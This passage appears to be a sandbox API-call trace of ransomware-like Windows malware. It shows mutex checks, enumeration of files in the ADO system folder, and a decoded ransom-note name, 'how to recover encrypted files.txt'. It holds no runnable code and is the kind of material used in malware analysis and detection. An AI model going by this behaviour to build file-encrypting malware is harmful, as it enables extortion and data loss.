[0056.838] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.838] GlobalUnlock (hMem=0x44000c) returned 0 [0056.838] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.838] CharLowerBuffW (in: lpsz="msader15.dll.mui", cchLength=0x10 | out: lpsz="msader15.dll.mui") returned 0x10 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0056.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.838] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0056.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\en-US\\msader15.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0056.839] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.839] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.839] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.839] GlobalUnlock (hMem=0x44000c) returned 0 [0056.839] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.839] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.839] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.839] GlobalUnlock (hMem=0x44000c) returned 0 [0056.839] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.839] GlobalUnlock (hMem=0x440004) returned 0 [0056.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.839] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.839] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.839] GlobalLock (hMem=0x440004) returned 0x550170 [0056.839] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.839] GlobalUnlock (hMem=0x440004) returned 0 [0056.839] GlobalLock (hMem=0x440004) returned 0x550170 [0056.839] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.839] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.839] GlobalUnlock (hMem=0x440004) returned 0 [0056.839] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.839] GlobalUnlock (hMem=0x44000c) returned 0 [0056.839] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.839] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.840] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.840] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.840] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.840] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.840] GlobalUnlock (hMem=0x44000c) returned 0 [0056.840] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.840] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.840] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.840] GlobalUnlock (hMem=0x44000c) returned 0 [0056.840] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.840] GlobalUnlock (hMem=0x440004) returned 0 [0056.840] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.840] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0056.840] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.840] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.840] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.840] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.840] GlobalUnlock (hMem=0x440004) returned 0 [0056.840] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.840] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.840] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.840] GlobalUnlock (hMem=0x440004) returned 0 [0056.840] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.840] GlobalUnlock (hMem=0x44000c) returned 0 [0056.840] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.840] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0056.840] GetLastError () returned 0x12 [0056.840] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.841] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.841] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.841] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.841] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.841] GlobalUnlock (hMem=0x44000c) returned 0 [0056.841] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.841] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.841] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.841] GlobalUnlock (hMem=0x44000c) returned 0 [0056.841] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.841] GlobalUnlock (hMem=0x440004) returned 0 [0056.841] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.841] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0056.841] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.841] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.841] GlobalLock (hMem=0x440004) returned 0x550170 [0056.841] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.841] GlobalUnlock (hMem=0x440004) returned 0 [0056.841] GlobalLock (hMem=0x440004) returned 0x550170 [0056.841] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.841] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.841] GlobalUnlock (hMem=0x440004) returned 0 [0056.841] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.841] GlobalUnlock (hMem=0x44000c) returned 0 [0056.841] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.841] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0056.841] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.841] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.842] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.842] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.842] GlobalUnlock (hMem=0x44000c) returned 0 [0056.842] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.842] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.842] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.842] GlobalUnlock (hMem=0x44000c) returned 0 [0056.842] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.842] GlobalUnlock (hMem=0x440004) returned 0 [0056.842] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.842] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0056.842] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.842] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.842] GlobalLock (hMem=0x440004) returned 0x550170 [0056.842] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.842] GlobalUnlock (hMem=0x440004) returned 0 [0056.842] GlobalLock (hMem=0x440004) returned 0x550170 [0056.842] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.842] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.842] GlobalUnlock (hMem=0x440004) returned 0 [0056.842] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.842] GlobalUnlock (hMem=0x44000c) returned 0 [0056.842] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.842] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0056.842] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.842] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.842] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.842] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.842] GlobalUnlock (hMem=0x44000c) returned 0 [0056.843] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.843] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.843] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.843] GlobalUnlock (hMem=0x44000c) returned 0 [0056.843] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.843] GlobalUnlock (hMem=0x440004) returned 0 [0056.843] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.843] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0056.843] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.843] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.843] GlobalLock (hMem=0x440004) returned 0x550170 [0056.843] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.843] GlobalUnlock (hMem=0x440004) returned 0 [0056.843] GlobalLock (hMem=0x440004) returned 0x550170 [0056.843] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.843] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.843] GlobalUnlock (hMem=0x440004) returned 0 [0056.843] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.843] GlobalUnlock (hMem=0x44000c) returned 0 [0056.843] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.843] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0056.843] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.843] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.843] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.843] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.843] GlobalUnlock (hMem=0x44000c) returned 0 [0056.843] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.843] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.843] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.843] GlobalUnlock (hMem=0x44000c) returned 0 [0056.844] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.844] GlobalUnlock (hMem=0x440004) returned 0 [0056.844] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.844] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0056.844] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.844] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.844] GlobalLock (hMem=0x440004) returned 0x550170 [0056.844] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.844] GlobalUnlock (hMem=0x440004) returned 0 [0056.844] GlobalLock (hMem=0x440004) returned 0x550170 [0056.844] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.844] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.844] GlobalUnlock (hMem=0x440004) returned 0 [0056.844] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.844] GlobalUnlock (hMem=0x44000c) returned 0 [0056.844] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.844] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0056.844] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.844] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.844] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.844] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.844] GlobalUnlock (hMem=0x44000c) returned 0 [0056.844] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.844] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.844] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.844] GlobalUnlock (hMem=0x44000c) returned 0 [0056.844] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.844] GlobalUnlock (hMem=0x440004) returned 0 [0056.844] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.845] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0056.845] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.845] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.845] GlobalLock (hMem=0x440004) returned 0x550170 [0056.845] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.845] GlobalUnlock (hMem=0x440004) returned 0 [0056.845] GlobalLock (hMem=0x440004) returned 0x550170 [0056.845] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.845] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.845] GlobalUnlock (hMem=0x440004) returned 0 [0056.845] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.845] GlobalUnlock (hMem=0x44000c) returned 0 [0056.845] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.845] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0056.845] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.845] FileTimeToDosDateTime (in: 